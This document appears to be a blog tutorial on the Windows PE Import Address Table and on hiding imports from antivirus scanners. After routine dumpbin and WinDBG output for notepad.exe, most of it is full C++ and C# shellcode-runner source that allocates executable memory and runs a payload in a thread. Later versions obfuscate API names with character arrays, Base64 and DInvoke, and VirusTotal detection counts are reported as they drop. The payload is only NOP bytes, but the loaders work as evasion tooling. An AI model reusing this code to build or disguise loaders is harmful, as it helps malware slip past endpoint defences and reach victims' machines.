Windows executable files are stored in Portable Executable (PE) format. PE files contain an Import Address Table (IAT). The IAT is a lookup table used when the application is calling functions in a different module. When the file is executed, the Windows Loader will fill in the IAT with the appropriate function addresses.
Viewing a PE32 Import Address Table on Disk
We can examine the IAT by opening a file in PEStudio;
We can see the application has a large number of imports, including functions such as RegOpenKey. Because of this, we know the application interacts with the systems registry somehow.
So, just by looking at the IAT we can get a good understanding of the types of things the application will do. Anti-Virus software also analyses the IAT in a similar way to determine if an application might have malicious intent.
We can also query imports using dumpbin.exe (which is included with Visual Studio).
dumpbin /imports C:\Windows\system32\notepad.exe
Microsoft (R) COFF/PE Dumper Version 14.34.31937.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file C:\Windows\system32\notepad.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
GDI32.dll
140029930 Import Address Table
140030D60 Import Name Table
0 time date stamp
0 Index of first forwarder reference
391 SetMapMode
3A5 SetViewportExtEx
3A9 SetWindowExtEx
2F7 LPtoDP
37C SetBkMode
2E7 GetTextMetricsW
3B6 TextOutW
0 AbortDoc
199 EndDoc
376 SetAbortProc
3AD StartDocW
3AF StartPage
34 CreateDCW
1D2 EnumFontsW
2E5 GetTextFaceW
28B GetDeviceCaps
18C DeleteDC
18F DeleteObject
37B SetBkColor
5A CreateSolidBrush
2DF GetTextExtentPoint32W
374 SelectObject
31 CreateCompatibleDC
19C EndPage
43 CreateFontIndirectW
USER32.dll
140029A00 Import Address Table
140030E30 Import Name Table
0 time date stamp
0 Index of first forwarder reference
2AF PostQuitMessage
11 BeginPaint
F4 EndPaint
110 FillRect
DE DrawTextW
D2 DrawFocusRect
A7 DefWindowProcW
<SNIP>
Viewing the Import Address Table in Memory
We can view the populated IAT using WinDBG. Once again, examining notepad.exe. We start by listing the loaded modules in memory;
0:000> lm
start end module name
00007ff7`e7c30000 00007ff7`e7c8a000 notepad (pdb symbols) C:\ProgramData\Dbg\sym\notepad.pdb\C694C0AA7279CC672966901283BF50541\notepad.pdb
00007ffa`9e2b0000 00007ffa`9e53e000 COMCTL32 (deferred)
00007ffa`bb8d0000 00007ffa`bb9e3000 gdi32full (deferred)
00007ffa`bbb30000 00007ffa`bbc41000 ucrtbase (deferred)
00007ffa`bbc50000 00007ffa`bbcea000 msvcp_win (deferred)
00007ffa`bbcf0000 00007ffa`bc08c000 KERNELBASE (deferred)
00007ffa`bc270000 00007ffa`bc296000 win32u (deferred)
00007ffa`bc2a0000 00007ffa`bc44d000 USER32 (deferred)
00007ffa`bc980000 00007ffa`bca95000 RPCRT4 (deferred)
00007ffa`bcf80000 00007ffa`bcfa9000 GDI32 (deferred)
00007ffa`bd060000 00007ffa`bd104000 sechost (deferred)
00007ffa`bd110000 00007ffa`bd201000 shcore (deferred)
00007ffa`bd2c0000 00007ffa`bd383000 KERNEL32 (deferred)
00007ffa`bd390000 00007ffa`bd437000 msvcrt (deferred)
00007ffa`bd460000 00007ffa`bd7e9000 combase (deferred)
00007ffa`be100000 00007ffa`be1ae000 advapi32 (deferred)
00007ffa`be490000 00007ffa`be6a4000 ntdll (pdb symbols) C:\ProgramData\Dbg\sym\ntdll.pdb\3705770A0F65D9599F89B9AB8B5B9C9B1\ntdll.pdb
Then use the dump header (dh) command to find the offset of the IAT;
0:000> !dh 00007ff7`e7c30000 -f
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
E798EFB4 time date stamp Sun Feb 15 18:08:52 2093
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
20B magic #
14.30 linker version
28000 size of code
31000 size of initialized data
0 size of uninitialized data
19A0 address of entry point
1000 base of code
----- new -----
00007ff7e7c30000 image base
1000 section alignment
1000 file alignment
2 subsystem (Windows GUI)
10.00 operating system version
10.00 image version
10.00 subsystem version
5A000 size of image
1000 size of headers
5DC70 checksum
0000000000080000 size of stack reserve
0000000000011000 size of stack commit
0000000000100000 size of heap reserve
0000000000001000 size of heap commit
C160 DLL characteristics
High entropy VA supported
Dynamic base
NX compatible
Guard
Terminal server aware
0 [ 0] address [size] of Export Directory
30900 [ 3FC] address [size] of Import Directory
3A000 [ 1E1D0] address [size] of Resource Directory
37000 [ 1434] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
59000 [ 2F8] address [size] of Base Relocation Directory
2E440 [ 54] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
29790 [ 140] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
298D0 [ B68] address [size] of Import Address Table Directory
30438 [ E0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
The import table can then be dumped using the dps command;
0:007> dps 00007ff7`e7c30000+298D0
00007ff7`e7c598d0 00007ffa`9e32b200 COMCTL32!ImageList_Create
00007ff7`e7c598d8 00007ffa`9e32c4e0 COMCTL32!ImageList_SetBkColor
00007ff7`e7c598e0 00007ffa`9e31bd20 COMCTL32!LoadIconWithScaleDown
00007ff7`e7c598e8 00007ffa`9e2c24d0 COMCTL32!ImageList_ReplaceIcon
00007ff7`e7c598f0 00007ffa`9e2fbd30 COMCTL32!SetWindowSubclass
00007ff7`e7c598f8 00007ffa`9e32b710 COMCTL32!ImageList_Draw
00007ff7`e7c59900 00007ffa`9e32bc70 COMCTL32!ImageList_GetIconSize
00007ff7`e7c59908 00007ffa`9e2c6e60 COMCTL32!DefSubclassProc
00007ff7`e7c59910 00007ffa`9e32b2e0 COMCTL32!ImageList_Destroy
00007ff7`e7c59918 00007ffa`9e3411c0 COMCTL32!TaskDialogIndirect
00007ff7`e7c59920 00007ffa`9e2f9030 COMCTL32!CreateStatusWindowW
00007ff7`e7c59928 00000000`00000000
00007ff7`e7c59930 00007ffa`bcf812d0 GDI32!SetMapModeStub
00007ff7`e7c59938 00007ffa`bcf8c700 GDI32!SetViewportExtExStub
00007ff7`e7c59940 00007ffa`bcf8c770 GDI32!SetWindowExtExStub
00007ff7`e7c59948 00007ffa`bcf84c40 GDI32!LPtoDPStub
Import Table Avoidance
There are a few benefits to not putting our function imports into the IAT.
- They won’t be visible by Anti-Virus software parsing the IAT
- We can obfuscate the functions text strings, so they will not be visible in the binary at all
- Anti-Virus software may modify the IAT of an application to reroute execution to the AV vendors logging functions, before redirecting to the real function
Testing a C++ Shellcode Runner
First, let’s create a shellcode runner in C++. We’re just using NOP instructions for the shellcode, so the program isn’t actually doing anything malicious.
// ShellcodeRunner.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
void* payload_dest;
// Our shellcode
unsigned char payload_src[] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
unsigned int payload_length = sizeof(payload_src);
std::cout << "The length of the payload is: " << payload_length << "\n";
// Allocate some memory the same size as our payload
payload_dest = VirtualAlloc(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to allocated memory
RtlMoveMemory(payload_dest, payload_src, payload_length);
// Use VirtualProtect to mark memory as writable. flOldProtect is a DWORD that receives previous protection flags.
DWORD flOldProtect = 0;
VirtualProtect(payload_dest, payload_length, PAGE_EXECUTE_READ, &flOldProtect);
//Create a new thread
HANDLE myHandle;
myHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)payload_dest, 0, 0, 0);
//WaitForSingleObject prevents the program from terminating until the thread returns
WaitForSingleObject(myHandle, INFINITE);
}
Viewing the file in PEStudio, we can see the imports we made;
Compiling the application and uploading it to Virus Total shows that 10/68 Anti-Virus vendor classify the sample as malicious, just based on the fact we’re using “suspicious” functions.
Hiding Imports (C++)
If we lookup function addresses dynamically when the application is running, rather than importing them normally, we can avoid listing the functions in the Import Address Table.
To do this, we use GetProcAddress to get a pointer to the function we’re aiming to call. As per the Microsoft documentation for GetProcAddress, typdef’s are created for the functions parameters to try and ensure we don’t supply invalid data (and to simplify calling the functions).
For instance, to call VirtualAlloc in this manner, we define a typedef as a global variable;
typedef LPVOID (WINAPI * DynamicVA)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
In the main code body, we lookup the module address of Kernel32, which is required for GetProcAddress.
HMODULE Kernel32 = GetModuleHandle("kernel32.dll");
We then use GetProcAddress address to find the address of VirtualAlloc. We can then call the function as we normally would.
DynamicVA VA = (DynamicVA)GetProcAddress(Kernel32, "VirtualAlloc");
payload_dest = VA(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
The process can be repeated for all functions we are importing in the application. It’s worth noting that if the function names can still be identified as strings contained in the application. Defining the strings as character arrays can help prevent this type of pattern matching, or you could implement a custom encoding routine.
char VACharArray[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
Code for performing dynamic lookups on all imported functions;
// DynamicFunctionLookup.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef BOOL (WINAPI * DynamicVP)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef LPVOID (WINAPI * DynamicVA)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef DWORD (WINAPI * DynamicWSO)(
HANDLE hHandle,
DWORD dwMilliseconds
);
typedef VOID (WINAPI * DynamicRTL)(
VOID UNALIGNED* Destination,
const VOID UNALIGNED* Source,
SIZE_T Length
);
typedef HANDLE (WINAPI * DynamicCT)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
int main()
{
void* payload_dest;
// Our shellcode
unsigned char payload_src[] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
unsigned int payload_length = sizeof(payload_src);
std::cout << "The length of the payload is: " << payload_length << "\n";
// Get Kernel32 module handle (will be used multiple times)
char krnCharArray[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0 };
HMODULE Kernel32 = GetModuleHandleA(krnCharArray);
//Lookup VirtualAlloc at runtime
char VACharArray[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
DynamicVA VA = (DynamicVA)GetProcAddress(Kernel32, VACharArray);
payload_dest = VA(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to allocated memory
char RTLCharArray[] = { 'R', 't', 'l', 'M', 'o', 'v', 'e', 'M', 'e', 'm', 'o', 'r','y', 0};
DynamicRTL RTL = (DynamicRTL)GetProcAddress(Kernel32, RTLCharArray);
RTL(payload_dest, payload_src, payload_length);
//Lookup VirtualProtect at runtime
char VPCharArray[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0};
DynamicVP VP = (DynamicVP)GetProcAddress(Kernel32, VPCharArray);
DWORD flOldProtect = 0;
VP(payload_dest, payload_length, PAGE_EXECUTE_READ, &flOldProtect);
//Create a new thread
HANDLE myHandle;
char CTCharArray[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 0 };
DynamicCT CT = (DynamicCT)GetProcAddress(Kernel32, CTCharArray);
myHandle = CT(0, 0, (LPTHREAD_START_ROUTINE)payload_dest, 0, 0, 0);
//WaitForSingleObject prevents the program from terminating until the thread returns
char WSOCharArray[] = { 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b','j','e','c','t', 0};
DynamicWSO WSO = (DynamicWSO)GetProcAddress(Kernel32, WSOCharArray);
WSO(myHandle, INFINITE);
}
By uploading the sample to VirusTotal, we can see our detection rates have dropped to 5/10 AV vendors.
Testing a C# ShellCode Runner
Implementing the same code in C# requires the use of Interop Services to call native Windows API’s
using System;
using System.Runtime.InteropServices;
namespace ShellCodeRunner
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] payload_src = new byte[] { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };
int payload_length = payload_src.Length;
Console.WriteLine("The length of the payload is: " + payload_length);
// Allocate some memory the same size as our payload
IntPtr payload_dest = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Copy payload to allocated memory. Marshal.Copy used to managed to unmanaged memory.
Marshal.Copy(payload_src, 0, payload_dest, payload_length);
//Create a new thread
IntPtr hThread = CreateThread(IntPtr.Zero, 0, payload_dest, IntPtr.Zero, 0, IntPtr.Zero);
//WaitForSingleObject prevents the program from terminating until the thread returns
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
If we run dumpbin.exe on the application, we can see there are no imports listed…
dumpbin /imports ShellcodeRunner.exe
Microsoft (R) COFF/PE Dumper Version 14.34.31937.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file ShellcodeRunner.exe
File Type: EXECUTABLE IMAGE
Summary
2000 .rsrc
2000 .text
This is because functions imported via PInvoke are stored in the ImplMap table. These entries can be seen in PEStudio;
Uploading the file to VirusTotal shows we’re getting 26/70 detections.
Hiding Imports (C#)
DInvoke is a dynamic replacement for PInvoke on Windows. The DInvoke library can be installed as a nuget package.
using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;
using static DInvoke.DynamicInvoke.Win32;
namespace DInvokeShellcode
{
internal class Program
{
private struct Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
public static string Decode(string base64EncodedData)
{
var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
}
// VirtualAlloc
public static IntPtr VA(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect)
{
object[] funcargs =
{
lpAddress, dwSize, flAllocationType, flProtect
};
// Kernel32.dll / VirtualAlloc Base64 encoded
IntPtr retVal = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode("a2VybmVsMzIuZGxs"), Decode("VmlydHVhbEFsbG9j"),typeof(Delegates.VirtualAlloc), ref funcargs);
return retVal;
}
// CreateThread
public static IntPtr CT(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId)
{
// Craft an array for the arguments
object[] funcargs =
{
lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
};
// Kernel32.dll / CreateThread Base64 encoded
IntPtr retVal = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode("a2VybmVsMzIuZGxs"), Decode("Q3JlYXRlVGhyZWFk"),typeof(Delegates.CreateThread), ref funcargs);
return retVal;
}
// WaitForSingleObject
public static UInt32 WSO(IntPtr hHandle, UInt32 dwMilliseconds)
{
object[] funcargs =
{
hHandle, dwMilliseconds
};
// Kernel32.dll / WaitForSingleObject Base64 encoded
UInt32 retVal = (UInt32)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(Decode("a2VybmVsMzIuZGxs"), Decode("V2FpdEZvclNpbmdsZU9iamVjdA=="),typeof(Delegates.WaitForSingleObject), ref funcargs);
return retVal;
}
static void Main(string[] args)
{
byte[] payload_src = new byte[] { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
int payload_length = payload_src.Length;
Console.WriteLine("The length of the payload is: " + payload_length);
// Allocate some memory the same size as our payload
IntPtr payload_dest = VA(IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Copy payload to allocated memory. Marshal.Copy used to managed to unmanaged memory.
Marshal.Copy(payload_src, 0, payload_dest, payload_length);
//Create a new thread
IntPtr hThread = CT(IntPtr.Zero, 0, payload_dest, IntPtr.Zero, 0, IntPtr.Zero);
//WaitForSingleObject prevents the program from terminating until the thread returns
WSO(hThread, 0xFFFFFFFF);
}
}
}
Uploading the sample to VirusTotal shows detection rates have dropped to 11/70;
The Anti Virus software may be triggering on the presence of the DInvoke DLL. Uploading just the DLL on it’s own results in a detection rate of 46/69 đŸ™ƒ
Benign Imports
Detection rates have been lowered, and from PEStudio we can see that our function calls are no longer listed in the IAT. However, the fact the execute does not seem to be calling many external functions could be seen as suspicious in itself.
Because of this, it’s worth adding some additional imports into the application so it appears it has some legitimate purpose.
In Conclusion
Dynamically looking up function addresses during execution certainly has it’s benefits for evading on disk detection. The testing performed here isn’t entirely scientific, but I think it shows the benefits of performing function lookups at runtime.
Dynamic lookups using C++ seem to be favourable to C# implementations. Using P/Invoke is generally seen as a suspicious indicator, and D/Invoke is often classified as malicious.
However, this would need to be combined with multiple other techniques to evade behavioural protection. In addition, any shellcode would need to be obfuscated before use.